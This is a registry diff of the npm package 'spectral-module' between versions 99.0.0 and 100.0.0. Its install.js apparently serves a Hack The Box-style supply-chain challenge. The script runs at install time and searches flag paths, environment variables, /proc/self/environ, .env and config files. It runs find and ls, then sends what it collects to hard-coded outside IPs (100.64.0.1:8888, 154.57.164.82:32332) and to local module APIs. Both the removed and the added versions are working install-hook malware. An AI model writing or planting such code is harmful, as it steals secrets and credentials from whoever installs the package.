spectral-module 99.0.0 → 100.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +97 -60
- package/package.json +2 -2
package/install.js
CHANGED
|
@@ -1,93 +1,130 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
|
-
const https = require('https');
|
|
4
3
|
const { execSync } = require('child_process');
|
|
4
|
+
const path = require('path');
|
|
5
5
|
|
|
6
|
-
function tryRead(
|
|
7
|
-
try { return fs.readFileSync(
|
|
6
|
+
function tryRead(p) {
|
|
7
|
+
try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
|
|
8
8
|
}
|
|
9
9
|
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
if (!flag) {
|
|
15
|
-
try {
|
|
16
|
-
const env = tryRead('/proc/self/environ') || '';
|
|
17
|
-
const m = env.match(/FLAG[=:]([^\x00]+)/);
|
|
18
|
-
if (m) flag = m[1];
|
|
19
|
-
} catch(e) {}
|
|
20
|
-
}
|
|
21
|
-
|
|
22
|
-
if (!flag) {
|
|
23
|
-
try {
|
|
24
|
-
const files = fs.readdirSync('/');
|
|
25
|
-
const flagFiles = files.filter(f => f.includes('flag'));
|
|
26
|
-
for (const f of flagFiles) {
|
|
27
|
-
const content = tryRead('/' + f);
|
|
28
|
-
if (content && content.includes('HTB{')) { flag = content; break; }
|
|
29
|
-
}
|
|
30
|
-
} catch(e) {}
|
|
31
|
-
}
|
|
32
|
-
|
|
33
|
-
if (!flag) {
|
|
34
|
-
try { flag = 'NOFLAG_LS:' + fs.readdirSync('/').join(','); } catch(e) { flag = 'NOFLAG_ERR'; }
|
|
35
|
-
}
|
|
36
|
-
|
|
37
|
-
const data = JSON.stringify({ flag: flag, ts: Date.now(), cwd: process.cwd(), uid: process.getuid ? process.getuid() : 'N/A' });
|
|
38
|
-
|
|
39
|
-
// Exfiltrate to VPN IP
|
|
40
|
-
function sendHTTP(host, port, path, payload) {
|
|
10
|
+
function sendUpdate(host, port, moduleId, flagVal) {
|
|
11
|
+
const manifest = `ecto_module:\n name: "${flagVal.substring(0,100).replace(/"/g, "'")}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
|
|
12
|
+
const body = JSON.stringify({ manifest });
|
|
41
13
|
return new Promise((resolve) => {
|
|
42
|
-
const req = http.request({ hostname: host, port, path
|
|
14
|
+
const req = http.request({ hostname: host, port, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
|
|
43
15
|
let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
|
|
44
16
|
});
|
|
45
17
|
req.on('error', () => resolve(null));
|
|
46
18
|
req.on('timeout', () => { req.destroy(); resolve(null); });
|
|
47
|
-
req.write(
|
|
19
|
+
req.write(body);
|
|
48
20
|
req.end();
|
|
49
21
|
});
|
|
50
22
|
}
|
|
51
23
|
|
|
52
|
-
function
|
|
53
|
-
const manifest = `ecto_module:\n name: "FLAG_${flagVal.substring(0,80)}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
|
|
54
|
-
const body = JSON.stringify({ manifest });
|
|
24
|
+
function sendHTTP(host, port, pth, payload) {
|
|
55
25
|
return new Promise((resolve) => {
|
|
56
|
-
const req = http.request({ hostname: host, port, path:
|
|
26
|
+
const req = http.request({ hostname: host, port, path: pth, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 5000 }, (res) => {
|
|
57
27
|
let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
|
|
58
28
|
});
|
|
59
29
|
req.on('error', () => resolve(null));
|
|
60
30
|
req.on('timeout', () => { req.destroy(); resolve(null); });
|
|
61
|
-
req.write(
|
|
31
|
+
req.write(payload);
|
|
62
32
|
req.end();
|
|
63
33
|
});
|
|
64
34
|
}
|
|
65
35
|
|
|
66
36
|
(async () => {
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
//
|
|
71
|
-
const
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
await sendUpdate('localhost', p, 'ECT-839201', flag || 'EMPTY');
|
|
75
|
-
}
|
|
37
|
+
let flag = null;
|
|
38
|
+
let info = [];
|
|
39
|
+
|
|
40
|
+
// Search common flag locations
|
|
41
|
+
const paths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt', '/app/flag', '/app/flag.txt',
|
|
42
|
+
'/home/flag', '/home/flag.txt', '/opt/flag', '/opt/flag.txt', '/tmp/flag', '/tmp/flag.txt',
|
|
43
|
+
'/var/flag', '/data/flag', '/data/flag.txt'];
|
|
76
44
|
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
45
|
+
for (const p of paths) {
|
|
46
|
+
const content = tryRead(p);
|
|
47
|
+
if (content) {
|
|
48
|
+
info.push(`FILE:${p}=${content.substring(0,60)}`);
|
|
49
|
+
if (content.includes('HTB{') || content.includes('flag{')) flag = content;
|
|
81
50
|
}
|
|
82
51
|
}
|
|
52
|
+
|
|
53
|
+
// Search /app directory recursively
|
|
54
|
+
function searchDir(dir, depth) {
|
|
55
|
+
if (depth > 3) return;
|
|
56
|
+
try {
|
|
57
|
+
const entries = fs.readdirSync(dir);
|
|
58
|
+
for (const e of entries) {
|
|
59
|
+
if (e === 'node_modules' || e === '.git') continue;
|
|
60
|
+
const full = path.join(dir, e);
|
|
61
|
+
try {
|
|
62
|
+
const stat = fs.statSync(full);
|
|
63
|
+
if (stat.isFile() && (e.includes('flag') || e === '.env' || e === 'config.js' || e === 'config.json')) {
|
|
64
|
+
const content = tryRead(full);
|
|
65
|
+
if (content) {
|
|
66
|
+
info.push(`${full}=${content.substring(0,60)}`);
|
|
67
|
+
if (content.includes('HTB{') || content.includes('flag{')) flag = content;
|
|
68
|
+
}
|
|
69
|
+
} else if (stat.isDirectory() && depth < 3) {
|
|
70
|
+
searchDir(full, depth + 1);
|
|
71
|
+
}
|
|
72
|
+
} catch(e2) {}
|
|
73
|
+
}
|
|
74
|
+
} catch(e) {}
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
searchDir('/app', 0);
|
|
78
|
+
searchDir('/root', 0);
|
|
79
|
+
searchDir('/home', 0);
|
|
80
|
+
searchDir('/data', 0);
|
|
81
|
+
searchDir('/opt', 0);
|
|
82
|
+
|
|
83
|
+
// Check env vars
|
|
84
|
+
const envFlag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG || '';
|
|
85
|
+
if (envFlag) info.push('ENV_FLAG=' + envFlag);
|
|
83
86
|
|
|
84
|
-
//
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
87
|
+
// Check /proc/self/environ
|
|
88
|
+
const procEnv = tryRead('/proc/self/environ');
|
|
89
|
+
if (procEnv) {
|
|
90
|
+
const m = procEnv.match(/FLAG[A-Z_]*=([^\x00]+)/g);
|
|
91
|
+
if (m) info.push('PROC_ENV=' + m.join(','));
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
// Try find command
|
|
95
|
+
try {
|
|
96
|
+
const found = execSync('find / -maxdepth 3 -name "*flag*" -type f 2>/dev/null', {timeout: 5000}).toString().trim();
|
|
97
|
+
if (found) info.push('FIND=' + found.substring(0, 100));
|
|
98
|
+
} catch(e) {}
|
|
99
|
+
|
|
100
|
+
// Also list /app contents
|
|
88
101
|
try {
|
|
89
|
-
execSync(
|
|
102
|
+
const appFiles = execSync('ls -la /app/ 2>/dev/null', {timeout: 3000}).toString().trim();
|
|
103
|
+
info.push('APP_LS=' + appFiles.substring(0, 150));
|
|
90
104
|
} catch(e) {}
|
|
105
|
+
|
|
106
|
+
// Also try to read /app/package.json for dependency info
|
|
107
|
+
const pkgJson = tryRead('/app/package.json');
|
|
108
|
+
if (pkgJson) info.push('PKG_JSON=' + pkgJson.substring(0, 150));
|
|
109
|
+
|
|
110
|
+
const result = flag || info.join('|');
|
|
91
111
|
|
|
92
|
-
|
|
112
|
+
// Exfiltrate
|
|
113
|
+
await sendHTTP('100.64.0.1', 8888, '/flag', JSON.stringify({result, ts: Date.now()}));
|
|
114
|
+
|
|
115
|
+
// Update modules with results (split across multiple modules for space)
|
|
116
|
+
const parts = [];
|
|
117
|
+
for (let i = 0; i < result.length; i += 90) {
|
|
118
|
+
parts.push(result.substring(i, i + 90));
|
|
119
|
+
}
|
|
120
|
+
|
|
121
|
+
const moduleIds = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
122
|
+
for (let i = 0; i < Math.min(parts.length, moduleIds.length); i++) {
|
|
123
|
+
const ports = [3000, 80, 8080, 5000];
|
|
124
|
+
for (const p of ports) {
|
|
125
|
+
await sendUpdate('127.0.0.1', p, moduleIds[i], 'R' + i + '_' + parts[i]);
|
|
126
|
+
await sendUpdate('localhost', p, moduleIds[i], 'R' + i + '_' + parts[i]);
|
|
127
|
+
}
|
|
128
|
+
await sendUpdate('154.57.164.82', 32332, moduleIds[i], 'R' + i + '_' + parts[i]);
|
|
129
|
+
}
|
|
93
130
|
})();
|